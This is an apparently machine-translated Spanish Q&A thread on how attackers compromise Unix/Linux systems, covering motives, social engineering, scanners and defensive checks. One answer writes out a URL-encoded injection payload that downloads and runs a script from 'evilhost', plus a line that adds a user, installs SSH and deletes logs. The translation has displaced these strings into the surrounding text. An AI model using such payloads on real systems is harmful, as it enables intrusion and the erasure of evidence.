¿Cómo "rompen" exactamente los sistemas Unix / Linux?

13

No, no estoy buscando convertirme en un cracker o algo así, sino que estoy tratando de descubrir el proceso (más desde una perspectiva de programación).

Así que supongo (adivinar) que el objetivo principal de un cracker es obtener acceso de root para instalar cualquier software (o script) que haya escrito, ¿verdad? o tal vez instalando su propio módulo kernal (eso es desviado por cualquier razón) ¿Cómo hace exactamente una persona para hacer esto?

Sé que las personas usan secuencias de comandos para buscar vulnerabilidades ... pero no veo cómo, y tampoco veo exactamente qué hacen con ellas una vez que las encuentran. ¿Están verificando versiones de exploits conocidos ... y luego una vez que encuentran uno .......

Sé que todo esto suena muy nuevo. pero solo estoy tratando de tener una idea de cómo funciona, ya que sé que los sistemas Linux / Unix se supone que son muy seguros, pero estoy tratando de descubrir cómo alguien podría lograr el proceso de acceso a la raíz.

HedgeMage
fuente

Respuestas:

14

Hay innumerables razones por las que uno podría tratar de comprometer la seguridad de un sistema. A grandes rasgos:

  • Para utilizar los recursos del sistema (por ejemplo, enviar spam, retransmitir tráfico)
  • Para adquirir información sobre el sistema (por ejemplo, obtener datos de clientes de un sitio de comercio electrónico).
  • Para cambiar la información del sistema (por ejemplo, desfigurar un sitio web, plantar información falsa, eliminar información)

Solo a veces estas cosas requieren acceso de root. Por ejemplo, ingresar una consulta de búsqueda con formato incorrecto en un sitio que no desinfecta adecuadamente la entrada del usuario puede revelar información de la base de datos del sitio, como nombres de usuario / contraseñas, direcciones de correo electrónico, etc.

Muchos delincuentes informáticos son simplemente "niños de guiones"; es decir, personas que realmente no entienden la seguridad de los sistemas y que ni siquiera codifican, sino que ejecutan exploits escritos por otros. Por lo general, estos se defienden con bastante facilidad porque no tienen la capacidad de adaptarse; se limitan a explotar vulnerabilidades conocidas. (Aunque pueden aprovechar las botnets, grandes grupos de computadoras comprometidas, lo que puede significar un peligro de ataques DDoS).

Para el atacante experto, el proceso es algo como esto:

  1. Averigua cuál es el objetivo y cuánto vale el objetivo. La seguridad, mantenerla o comprometerla, es un cálculo de riesgo / recompensa. Cuanto más arriesgado y costoso sea algo, más cautivadora será la recompensa para que un ataque valga la pena.

  2. Considere todas las partes móviles que afectan cualquiera que sea el objetivo; por ejemplo, si desea enviar correo no deseado, podría atacar el servidor de correo, pero puede tener más sentido buscar un servicio diferente orientado a la red, como todo lo que realmente necesita. la necesidad es el uso de la conexión de red del objetivo. Si desea datos de usuario, comenzaría a buscar en el servidor de bases de datos, la aplicación web y el servidor web que tienen la capacidad de acceder a ellos, el sistema que los respalda, etc.

    Nunca descartes el factor humano. Asegurar un sistema informático es mucho más fácil que asegurar el comportamiento humano. Hacer que alguien revele información que no debería, o ejecutar código que no debería, es fácil y efectivo. En la universidad, gané una apuesta con un amigo que implicaba irrumpir en su red corporativa súper segura al ponerse un traje revelador y toparse con un vicepresidente lujurioso: la experiencia técnica de mi amigo superó con creces la mía, pero nada supera el poder de un 17yo mixto en una falda corta!

    Si no tienes pechos, considera ofrecer un juego sin sentido o algo que los idiotas descargarán por diversión sin tener en cuenta lo que realmente podría estar haciendo.

  3. Mire cada parte que haya identificado y considere lo que puede hacer y cómo se podría ajustar para hacer lo que desea: tal vez el servicio de asistencia restablece las contraseñas para los usuarios con frecuencia sin identificar adecuadamente a la persona que llama, y ​​llamarlos sonando confundidos obtener la contraseña de otra persona. Tal vez la aplicación web no esté verificando lo que se coloca en el cuadro de búsqueda para asegurarse de que no sea código antes de pegarlo en una función que ejecuta. Los compromisos de seguridad generalmente comienzan con algo expuesto a propósito que se puede hacer que se comporte de una manera que no debería.

HedgeMage
fuente
3
después de leer, todavía tengo curiosidad acerca de qué información podría proporcionar un vicepresidente lascivo en una conversación informal que le haría ganar esa apuesta.
justin cress
1
@justin: Dije que estaba allí para ver $ friend re: un proyecto escolar, pero él estaba fuera de la oficina. Dejé que el vicepresidente me mostrara algunas cosas triviales sobre el sistema informático, y estaba demasiado distraído mirándome para notar que lo vi ingresar su contraseña. Tenía acceso legítimo a la unidad a la que debía acceder para ganar la apuesta.
HedgeMage
1
Estoy completamente de acuerdo, la ingeniería social es mucho más fácil que los desbordamientos del montón. realmente te gustará este archivo.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga
"Si no tienes pechos, considera ofrecer un juego sin sentido o algo así" ... ¿en serio? ¿Los pones a ambos en la misma categoría de efectividad? :)
Roopesh Shenoy
2
"Considera ofrecer un juego sin sentido o algo que los idiotas descargarán por diversión ..." - Ahh, entonces esa es la idea detrás de Farmville y Evony.
Shadur
4

El factor más importante es el tipo de acceso que tiene el atacante. Si tienen acceso físico, estás jodido. Si solo le preocupa el acceso remoto, entonces depende de lo que esté ejecutando; La buena configuración lo es todo. Un servidor Linux estándar probablemente estaría ejecutando ftp, ssh, http, https y mysql. SSH es seguro, pero no permitiría los inicios de sesión de root, y una buena contraseña en cada cuenta es imprescindible. FTP es impredecible. Si tienes VSFTP y corroboras a tus usuarios, entonces es muy seguro. Varias otras versiones tienen vulnerabilidades conocidas. HTTP probablemente será su área más vulnerable. Su mayor preocupación aquí es cualquier cosa que ejecute archivos en el sistema o cargue archivos en el sistema. La inyección de SQL es MUY difícil si su sitio web está hecho en PHP5. Un grupo de estudiantes de seguridad y yo probamos las inyecciones de SQL en un sitio web PHP5 no desinfectado durante semanas y no tuvimos éxito. Con MySQL, asegúrese de utilizar un usuario no root y restringirlo para que solo inicie sesión desde su servidor Apache.

Hay un par de complementos de Firefox para probar las vulnerabilidades del sitio web: acceder a mí, xss me y sql me inyectan

Algunas cosas importantes que siempre haría en las competiciones para garantizar la seguridad sería correr:

  • netstat - comprobar puertos abiertos y conexiones,
  • w - quién inició sesión, cuánto tiempo,
  • Verifique los registros para los inicios de sesión,
  • bash history para comandos ejecutados,
  • ps - ejecutar comandos,
  • /etc/passwd para usuarios adicionales
  • /etc/sudoers para acceso a sudo.

Normalmente, después de obtener acceso, un atacante quiere obtener root. Actualmente existen algunas vulnerabilidades de escalada de privilegios que permitirían a un usuario normal obtener root. Después de eso, quieren abrirlo para un acceso posterior agregando usuarios y abriendo puertas traseras.

Aquí está el sitio web de defensa cibernética de mi escuela. Siéntase libre de mirar alrededor y hacer algunas preguntas: https://thislink.doesntexist.org/

Murphy
fuente
2

La seguridad de un sistema depende de las habilidades de los administradores, por lo que es un poco incorrecto decir "Se supone que los sistemas Linux / Unix son muy seguros" :)

Ahora vamos a hackear ... Hay un tipo de herramientas llamadas " escáner de vulnerabilidad " como Nessus que busca cosas para ser explotadas. Hay miles de cosas que pueden salir mal en un sistema complejo, como un servidor Apache mal configurado para permitir la carga de archivos arbitrarios en lugares arbitrarios. Esos pueden servir como un trampolín para nuevas hazañas, como obtener acceso a una base de datos o una cuenta de correo electrónico desde la cual se pueden restaurar las contraseñas a través de la función "olvidar contraseña".

A veces, un truco es obtener acceso y hacer algo malvado. A veces las personas lo hacen por diversión (lo cual es tonto, por cierto).

Y, aquí hay una historia de un famoso hack que sucedió hace poco. ¡Creo que será ilustrativo para cualquiera que esté mirando la seguridad! Para citar un resumen de exploits:

Una aplicación web con fallas de inyección SQL y contraseñas inseguras. Contraseñas que fueron mal elegidas. Contraseñas que fueron reutilizadas. Servidores que permitieron la autenticación basada en contraseña. Sistemas que no fueron parcheados. Y una asombrosa disposición a entregar credenciales por correo electrónico, incluso cuando la persona a la que se le preguntó debería haberse dado cuenta de que algo estaba pasando.

phunehehe
fuente
1

Hay tantos vectores de ataque que son casi infinitos. Una de las más simples conceptualmente es hacer que un programa esté disponible públicamente, y decir que hace algo diferente de lo que realmente hace. Dé a los usuarios instrucciones amigables con un sudoal comienzo, y vea cómo el mundo se dispara. Esto sucede todos los días con programas de código cerrado, ya que no es factible que una sola persona inspeccione su funcionamiento de antemano, como se ve con, por ejemplo, los CD de Sony .

También puede intentar enviar cadenas especiales a un host remoto. Para un ejemplo de alto nivel, supongamos que tiene un servidor web con algún software ejecutándose en él, y ese software ejecuta parte de la URL como un comando sin escapar o de otra manera asegurando que no pueda causar ningún daño. Enviar algo así http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Decodificado, la cadena de búsqueda se convierte . Si se ejecuta, script.sh se ejecutará con los mismos derechos de acceso que el usuario del servidor web para hacer cualquier cosa en la máquina. A veces, las personas dejan que estos funcionen como raíz para la "conveniencia", en este caso un sinónimo de pereza y / o falta de idea. Incluso si no se ejecuta como root, ese script podría ejecutar miles de pruebas para otros agujeros en el software instalado y ejecutar otro comando si encuentra uno. Ese último comando podría ser, por ejemplo,foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, para obtener acceso SSH y eliminar rastros del robo.

[los comandos obviamente fueron simplificados y probablemente no funcionarían de todos modos. YMMV]

l0b0
fuente